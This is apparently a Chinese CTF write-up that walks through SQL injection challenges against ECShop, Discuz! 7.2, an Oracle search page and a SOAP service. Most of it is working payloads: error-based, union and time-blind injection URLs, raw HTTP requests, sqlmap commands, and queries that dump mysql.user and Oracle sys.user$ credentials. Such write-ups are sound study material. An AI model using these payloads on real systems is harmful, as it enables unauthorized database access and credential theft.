http://47.103.94.191:8036/user.php?act=is_registered&username=%df' or updatexml(1,concat(0x7e,(select count(distinct(table_name)) from information_schema.columns where table_schema=database()),0x7e),0) -- -

// 找 ecshop 库中 flag 相关表(bp爆破模块) --> ecs_flag
http://47.103.94.191:8036/user.php?act=is_registered&username=%df' or updatexml(1,concat(0x7e,(select distinct(table_name) from information_schema.columns where table_schema=database() limit 37,1),0x7e),0) -- -

// 找 ecs_flag 表中 flag 相关字段 --> id,flag
// 报错:Unknown column 'ecs_flag' in 'where clause'
// 16进制编码:ecs_flag --> 0x6563735f666c6167
http://47.103.94.191:8036/user.php?act=is_registered&username=%df' or updatexml(1,concat(0x7e,(select distinct(column_name) from information_schema.columns where table_name=0x6563735f666c6167 limit 1,1),0x7e),0) -- -

// 拿flag --> flag{e3c801b0662311754ded6f7469
http://47.103.94.191:8036/user.php?act=is_registered&username=%df' or updatexml(1,concat(0x7e,(select flag from ecshop.ecs_flag),0x7e),0) -- -

// updatexml报错长度限制,substr() 方法进行截断拿后面部分flag --> d6f746903a577}
http://47.103.94.191:8036/user.php?act=is_registered&username=%df' or updatexml(1,concat(0x7e,(select substr(flag,25,30) from ecshop.ecs_flag),0x7e),0) -- -

// flag 组合 --> flag{e3c801b0662311754ded6f746903a577}

// 网上流传的exp
http://47.103.94.191:8036/user.php?act=is_registered&username=%df' and 1=1 union select 1 and (select 1 from(select count(*),concat((Select concat(0x5b,user,0x3a,password,0x5d) FROM mysql.user limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) %23

image

0x09 SQL报错型注入02

0o00 题目提示

1
2
3
SQL报错型注入02

题目URL:http://47.103.94.191:8042/

0o01 Discuz! 7.2 SQL注入

  • CMS呀,直接度娘搜,faq.php文件页面存在SQL注入。
1
2
3
4
// PHP 指令 magic_quotes_gpc 为 on --> 作用类似 addslashes(),即对输入的字符进行转义处理。
// 注:如对输入数据进行 addslashes()处理,则输出时须用 stripslashes()去掉多余的反斜杠。
// addslashes(string) --> 返回在预定义字符之前添加反斜杠的字符串。
// stripslashes(string) --> 删除由 addslashes() 函数添加的反斜杠。
  • 此处不做演示(注:magic_quotes_gpc 自 PHP 5.3 已废弃,自PHP 5.4 已移除。)
  • 基础理解:在PHP中,若输入为字符串STR,却使用数组方式取值时,则PHP对STR进行单字符拆分,类似C语言的字符串数组。故,在转义后 $sql[0]=’',$sql[1]=’单引号’。
1
2
3
4
5
6
7
# 1.php

<?php
$sql = $_GET['sql'];
echo $sql;
exit;
?>
1
2
3
4
5
6
7
# 2.php

<?php
$sql = $_GET['sql'];
echo $sql[0];
exit;
?>

image

  • 深入理解:看大佬解析吧!!!
    https://www.t00ls.com/articles-27175.html(大致是原版,不保证)
    https://www.proyy.com/6995090823914209288.html
    https://www.leavesongs.com/discuz72-sql-injection.html
  • 定义数组 $groupids,之后遍历$gids($_GET[gids]),先将$gids的每个元素分别赋予$row,然后才是将$row的第一个元素$row[0]取出赋予$groupids[]数组进行存储。
  • 如下第一个代码块的11句,又调用了implodeids($array)方法,将$groupids数组以,分隔开,组成类似'1','2','3','4'的字符序列。根据前面说的,'被转义称\',取第一个元素为\,则分隔后内容类似'1','2','\','4'。即\和它之后的'构成转义字符\'\前的'4前的'将闭合,其中内容构成新的一个字符串。故此,4后面的单引号逃逸,在4的位置构造注入将获得需要的数据。
1
2
3
4
5
6
7
8
9
10
11
} elseif($action == 'grouppermission') {

...
...
ksort($gids);
$groupids = array();
foreach($gids as $row) {
$groupids[] = $row[0];
}

$query = $db->query("SELECT * FROM {$tablepre}usergroups u LEFT JOIN {$tablepre}admingroups a ON u.groupid=a.admingid WHERE u.groupid IN (".implodeids($groupids).")");
1
2
3
4
5
6
7
function implodeids($array) {
if(!empty($array)) {
return "'".implode("','", is_array($array) ? $array : array($array))."'";
} else {
return '';
}
}
  • http://47.103.94.191:8042/faq.php?action=grouppermission&gids[2]='直接拼入&gids[2]='&gids[3]=3&gids[4]=4,即http://47.103.94.191:8042/faq.php?action=grouppermission&gids[2]='&gids[3]=3&gids[4]=4。得到sql语句SELECT * FROM [Table]usergroups u LEFT JOIN [Table]admingroups a ON u.groupid=a.admingid WHERE u.groupid IN ('7','\','3','4')。得到 报错……for the right syntax to use near '3','4')' at line 1,即在\'的转义下,单引号不闭合,造成4后的单引号逃逸直接报错。

  • 对大佬得构造语句进行理解:两重select嵌套,保证内层selectfloor报错执行,若实现得到有用信息,需要使用concat方法将注入语句与floor(rand(0)*2)进行组合,使报错时出现有用信息(仅个人理解,不保证正确)。

  • http://47.103.94.191:8042/faq.php?action=grouppermission&gids[2]='&gids[3][0]=) and (select 1 from (select floor(rand(0)*2) as x,count(*) from mysql.user group by x)y)%23
    image

  • 最后构成的exp:http://47.103.94.191:8042/faq.php?action=grouppermission&gids[2]='&gids[3][0]=) and (select 1 from (select concat(0x7e,database(),0x7e,floor(rand(0)*2)) as x,count(*) from mysql.user group by x)y)%23

0o02 注入流程

  • 另一种exp利用
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
// 拿库名
http://47.103.94.191:8042/faq.php?action=grouppermission&gids[t00ls]=%27&gids[t00ls1][]=,(select 1 from(select count(*),concat((select (select concat(user(),0x7e,database(),0x7e))),floor(rand(0)*2))x from information_schema.tables group by x)a))%23

// Error: Duplicate entry 'root@localhost~122~1' for key 'group_key'-->当前库有122个不重复的表!!!
http://47.103.94.191:8042/faq.php?action=grouppermission&gids[t00ls]=%27&gids[t00ls1][]=,(select 1 from(select count(*),concat((select (select concat(user(),0x7e,(select count(distinct(table_name)) from information_schema.columns where table_schema=database()),0x7e))),floor(rand(0)*2))x from information_schema.tables group by x)a))%23

// 在当前表用 bp爆破 找不到flag相关表,放大范围(所有表)-->flag_nice
http://47.103.94.191:8042/faq.php?action=grouppermission&gids[t00ls]=%27&gids[t00ls1][]=,(select 1 from(select count(*),concat((select (select concat(user(),0x7e,(select distinct(table_name) from information_schema.columns limit 173,1),0x7e))),floor(rand(0)*2))x from information_schema.tables group by x)a))%23

// 所以……是在哪个库里的……-->ucenter
// 注:where子查询需要需要16进制编码:flag_nice-->0x666c61675f6e696365
http://47.103.94.191:8042/faq.php?action=grouppermission&gids[t00ls]=%27&gids[t00ls1][]=,(select 1 from(select count(*),concat((select (select concat(user(),0x7e,(select distinct(table_schema) from information_schema.columns where table_name=0x666c61675f6e696365),0x7e))),floor(rand(0)*2))x from information_schema.tables group by x)a))%23

// 字段-->flag_is_here
http://47.103.94.191:8042/faq.php?action=grouppermission&gids[t00ls]=%27&gids[t00ls1][]=,(select 1 from(select count(*),concat((select (select concat(user(),0x7e,(select distinct(column_name) from information_schema.columns where table_name=0x666c61675f6e696365),0x7e))),floor(rand(0)*2))x from information_schema.tables group by x)a))%23

// 如上语句出现其他错误:Subquery returns more than 1 row
http://47.103.94.191:8042/faq.php?action=grouppermission&gids[t00ls]=%27&gids[t00ls1][]=,(select 1 from(select count(*),concat((select (select concat(user(),0x7e,(select flag_is_here from ucenter.flag_nice limit 1),0x7e))),floor(rand(0)*2))x from information_schema.tables group by x)a))%23

// 多条记录???限定返回一条记录了的!改为查询记录数,确是仅有一条记录
// 查阅其他wp,说是flag过长所致!!!添加 substring 方法进行截断
// 似是而非?暂时当作是!!!
// flag-->flag{5e5c2dea317a62d0c43db8143e09d91a}
http://47.103.94.191:8042/faq.php?action=grouppermission&gids[t00ls]=%27&gids[t00ls1][]=,(select 1 from(select count(*),concat((select (select concat(user(),0x7e,substring((select flag_is_here from ucenter.flag_nice limit 1),1,40),0x7e))),floor(rand(0)*2))x from information_schema.tables group by x)a))%23
1
2
3
4
5
6
7
8
9
10
GET /faq.php?action=grouppermission&gids[t00ls]=%27&gids[t00ls1][]=,(select%201%20from(select%20count(*),concat((select%20(select%20concat(user(),0x7e,(select%20distinct(table_name)%20from%20information_schema.columns%20limit%20173,1),0x7e))),floor(rand(0)*2))x%20from%20information_schema.tables%20group%20by%20x)a))%23 HTTP/1.1
Host: 47.103.94.191:8042
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.64 Safari/537.36 Edg/101.0.1210.53
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6
Cookie: pR1_sid=2QZKZM; ECS_ID=c139056c976fc6deeb76c792a0d2ccfff0b93823; ECS[visit_times]=1
Connection: close

image

0x0a Oracle注入

0o00 题目提示

1
2
3
oracle注入

题目url:http://106.15.50.112:8015/search.php

0o01 Oracle 部分知识

0b00 基础知识

  1. Oracle数据库的注释符,单行注释:--,多行注释:/**/
  2. dual:Oracle 数据库的虚表,供任意用户读取,在没有目标表的select语句中经常用到
  3. Oracle 数据库使用||拼接字符串。
  4. Oracle 数据库对 MySQL 数据库中limit关键字的表述转为使用虚表的rownum字段判断:select * from users where rownum=1;
  5. Oracle数据库中使用双引号"来消除系统关键字,即某一字段能与系统关键字同名时,将该关键字用双引号引起:select "where" from tests
  6. 用户:Oracle 数据库的基本单位,类似 MySQL 数据库的库。
  7. 表:Oracle 的每一个用户下有表,类似 MySQL 数据库的库下的表。
  8. 表空间:Oracle 数据库的逻辑划分,是Oracle数据库恢复的最小单位。一个 Oracle 数据库至少有一个表空间(system表空间)。

0b01 默认表空间

  • Oracle 数据库创建时,默认生成5个表空间,如下:
  1. SYSTEM:存储系统表和管理配置等基本信息。
  2. SYSAUX:类似于SYSTEM,存放系统附加信息,减轻 SYSTEM 的空间负担。
  3. UNDO:用于事务回退等。
  4. TEMP:存储临时数据。
  5. USERS:默认存储用户信息的表空间。

0b10 权限与用户

  • 权限区分:
  1. DBA:系统最高权限,可创建数据库结构。
  2. resource:仅可创建实体,不可以创建数据库结构。
  3. connect:仅可登录 Oracle,不可以创建实体,不可以创建数据库结构。
  • 默认用户区分
  1. sys:类似 Linux 的 root 用户,属于 DBA 角色。
  2. system:类似 sys 用户,但缺少修改关键系统数据的权限,属于 DBA 角色。
  3. public:类似一个数据库用户的集合,对其操作会应用到所有用户上。

0b11 部分系统表

  1. dba_users:数据库用户信息。
  2. dba_segments:表段信息。
  3. dba_tablespaces:数据库表空间信息。
  4. user_segments:当前用户的表段信息。
  5. user_tables:当前用户的表对象信息,常用字段:table_name
  6. user_tab_columns:当前用户的表列信息,常用字段:column_name
  7. all_users:数据库所有用户的信息。
  8. all_objects:数据库所有对象的信息。
  9. all_tables:数据库所有表对象的信息。
  10. session_roles:会话角色信息。
  11. session_privs:会话角色权限。
  12. v$database:数据库信息。
  13. v$datafile:数据文件信息。
  14. v$logfile:日志文件信息。
  15. v$loghist:日志历史信息。

0o02 注入流程

  • 笔者不了解 Oracle 数据库,此处不做过多说明。
  • 度娘找几篇 Oracle 手注文章。
  • 题目为搜索型注入,直接写入1'报错:ORA-01756: quoted string not properly terminated,即引用字符串未正确终止(单引号)。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
// 报错注入

// 测试存在 --> ORA-01756: quoted string not properly terminated
name=1'

// 构造闭合
name=1' or 1=1 -- -

// 爆 Oracle 版本 --> Oracle Database 10g Express Edition Release 10.2.0.1.0
name=1' and 1=ctxsys.drithsx.sn(1, (select banner from v$version where rownum=1)) -- -

// 爆 IP 地址 --> 172.22.0.2
name=1' and 1=ctxsys.drithsx.sn(1, (select utl_inaddr.get_host_address from dual)) -- -

// 爆日志文件位置 --> /usr/lib/oracle/xe/app/oracle/flash_recovery_area/XE/onlinelog/o1_mf_2_k7df9co7_.log
name=1' and 1=ctxsys.drithsx.sn(1, (select member from v$logfile where rownum=1)) -- -

// 判DBA权限 --> FALSE
name=1' and 1=ctxsys.drithsx.sn(1, (select SYS_CONTEXT ('USERENV', 'ISDBA') from dual)) -- -

// 爆全部表空间,修改数字“6”处即可 --> PENTEST
// 说明:ROWNUM 为伪列,是伴随结果集生成的字段
// 内层语句中,拿到了内层结果集的两个字段,其中 ROWNUM 字段重命名为 CON。
// 外层语句中,利用内层结果集作虚表再次查询,通过 CON 字段指定返回的某条记录。
// 判断,两层嵌套的目的是为了达到类似 limit 关键字的效果,即拿到指定记录。
name=1' and 1=ctxsys.drithsx.sn(1, (SELECT TABLESPACE_NAME FROM(SELECT DBA_TABLESPACES.TABLESPACE_NAME, ROWNUM AS CON FROM DBA_TABLESPACES WHERE ROWNUM>0)WHERE CON=6)) -- -

// 爆当前表空间的表 --> USERS,FLAG_HERE
name=1' and 1=ctxsys.drithsx.sn(1, (SELECT table_name FROM(SELECT user_tables.table_name, ROWNUM AS CON FROM user_tables WHERE ROWNUM>0)WHERE CON=2)) -- -

// 爆当前表空间下 FLAG_HERE 表字段 --> ID,FLAG_NAME
name=1' and 1=ctxsys.drithsx.sn(1, (SELECT column_name FROM(SELECT user_tab_columns.column_name, ROWNUM AS CON FROM user_tab_columns WHERE ROWNUM >0 and table_name='FLAG_HERE')WHERE CON=2)) -- -

// 爆内容???看着不像 --> this_is_flag
name=1' and 1=ctxsys.drithsx.sn(1, (SELECT FLAG_NAME FROM(SELECT FLAG_HERE.FLAG_NAME, ROWNUM AS CON FROM FLAG_HERE WHERE ROWNUM>0)WHERE CON =1)) -- -

// 这个表有两条记录!!! --> flag{65736915fea1aa72a0b2446540a81524}
name=1' and 1=ctxsys.drithsx.sn(1, (SELECT FLAG_NAME FROM(SELECT FLAG_HERE.FLAG_NAME, ROWNUM AS CON FROM FLAG_HERE WHERE ROWNUM>0)WHERE CON =2)) -- -

image

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
// 联合查询

// order byp 判断字段个数
name=1' order by 4 -- -

// 查字段数,判断输出点
name=-1' union select null,null,null from dual -- -

// 字段类型猜想
name=-1' union select 3,'2','1' from dual -- -

// 查看当前数据库连接用户 --> PENTEST
name=1' union select 3,(SELECT user FROM dual),'2' from dual-- -

// 爆SID --> XE
name=-1' union select 3,(select instance_name from V$INSTANCE),'1' from dual -- -

// 爆账密
name=1' union select 1,name,spare4 from(select rownum as con,name,spare4 from sys.user$ where rownum>0) where con=30-- -

// 拿flag
name=-1' union select 3,(SELECT FLAG_NAME FROM(SELECT FLAG_HERE.FLAG_NAME, ROWNUM AS CON FROM FLAG_HERE WHERE ROWNUM>0)WHERE CON =2),'1' from dual -- -

image

0o03 参考文档

0x0b SOAP协议注入

0b00 题目提示

1
2
3
4
5
SOAP协议注入

题目URL:http://47.103.94.191:8018/

提示:flag在数据库里面

0b01 SOAP协议

  1. 即简单对象访问协议,是数据交换的一种协议规范,是一种轻量的、简单的、基于XML的协议,被设计成在WEB上交换结构化的和固化的信息。
  2. SOAP=RPC+HTTP+XML,即采用HTTP通信协议,RPC作为一致性的调用途径,XLM作为数据传送的格式。
  3. 消息格式
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    <?xml version="1.0"?>
    <soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
    <soap:Header>
    </soap:Header>
    <soap:Body>
    <soap:Fault>
    </soap:Fault>
    </soap:Body>
    </soap:Envelope>

    <!--
    Envelope 元素:可将 xml 文档标识为 soap 消息。
    Header 元素:包含头部信息。
    Body 元素:包含所有的调用和响应信息,当Body内有存在数据可控时,有可能存在注入。
    Fault 元素:提供有关在处理此消息时所发生错误的信息。
    -->
  4. SOAP请求易受SQL注入攻击,提交参数作为变种 SQL 查询可以泄露敏感信息。

0o02 注入过程

  1. burp suite下载插件:Wsdler

  2. burp 抓取http://47.103.94.191:8018/ws_soap.php?wsdl页面请求包,并发送到Wsdler模块(右键 –> Extensions –> Wsdler –> Parse WSDL),将Parse WSDL解析出来的SOAP请求包复制下来,可以直接丢到sqlmap梭一把,抑或手注。

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    POST /ws_soap.php HTTP/1.1
    Upgrade-Insecure-Requests: 1
    User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/102.0.5005.63 Safari/537.36 Edg/102.0.1245.33
    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
    Referer: http://47.103.94.191:8018/ws_soap.php
    Accept-Encoding: gzip, deflate
    Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6
    Cookie: pR1_sid=GqRRY0; ECS[display]=grid; ECS[history]=9%2C8; ECS[visit_times]=6
    Connection: close
    SOAPAction: urn:tickets_stock#get_tickets_stock
    Content-Type: text/xml;charset=UTF-8
    Host: 47.103.94.191:8018
    Content-Length: 471

    <soapenv:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:urn="urn:tickets_stock">
    <soapenv:Header/>
    <soapenv:Body>
    <urn:get_tickets_stock soapenv:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/">
    <title xsi:type="xsd:string">gero et</title>
    </urn:get_tickets_stock>
    </soapenv:Body>
    </soapenv:Envelope>

    image

  3. sqlmap自动化部分步骤

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    // 拿到当前数据库 --> whalwl
    sqlmap -r admin.txt --batch --current-db

    // 拿到 flag 相关表 --> this_flag
    sqlmap -r admin.txt --batch -D whalwl --tables

    // 拿到 this_flag 表下关键字段 --> flag
    sqlmap -r admin.txt --batch -D whalwl -T this_flag --columns

    // 拿到flag(很慢,建议来把农药) --> flag{ba8b6a6f6e38ed7e173d03504132dbe8}
    sqlmap -r admin.txt --batch -D whalwl -T this_flag -C flag --dump

    image

  4. 基于 sqlmap payload 的时间盲注(手注)

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    // 根据 sqlmap 提供的payload——时间盲注
    gero et' AND (SELECT 6543 FROM (SELECT(SLEEP(5)))woly) AND 'XqLo'='XqLo

    // 构造判断当前数据库名长度——两层 select 语句
    gero et' and (select 1 from(select if(length(database())=5,2,sleep(10)))tumei) -- -

    // 猜当前库名,配合 burp 爆破
    gero et' and (select 1 from(select if((select substr(database(),2,1)='h'),sleep(5),6))a) -- -

    // ……猜flag,可以先猜内容长度,再进行爆破,减少非必要的时间,这里懒了
    // 导出结果集,复制到excel进行排序提取内容,合并1列单元格:=TEXTJOIN("",TRUE,B2:B39)
    // '{'参数被转义问题,解决:爆破模块 --> Payloads --> Payload Encding 处取消勾选,即可不被编码。
    gero et' and (select 1 from(select if((select substr(flag,5,1) from this_flag limit 1,1)='{',sleep(5),6))tumei) -- -

    image

  5. 基于 awvs payload 的联合查询(手注)

  • 看了下 awvs 的扫描结果,嘿?直接出库名?联想到前面写时间盲注时思考是否会有回显位(那时直接在gero et的基础上操作,压根没置-1),果断修改 awvs payload 参数(重点:-1,使前一个 select 语句无结果)。
    1
    2
    3
    4
    5
    // 直接拿到库名
    -1' union select database() -- -

    // 需要思路而已,其他老套路了,这里直接拿flag
    -1' union select flag from this_flag limit 1,1 -- -
    image

0x0c 完本总结

总的来讲,题目很基础,笔者很菜!一句话,贵在坚持、思考与行动!

 评论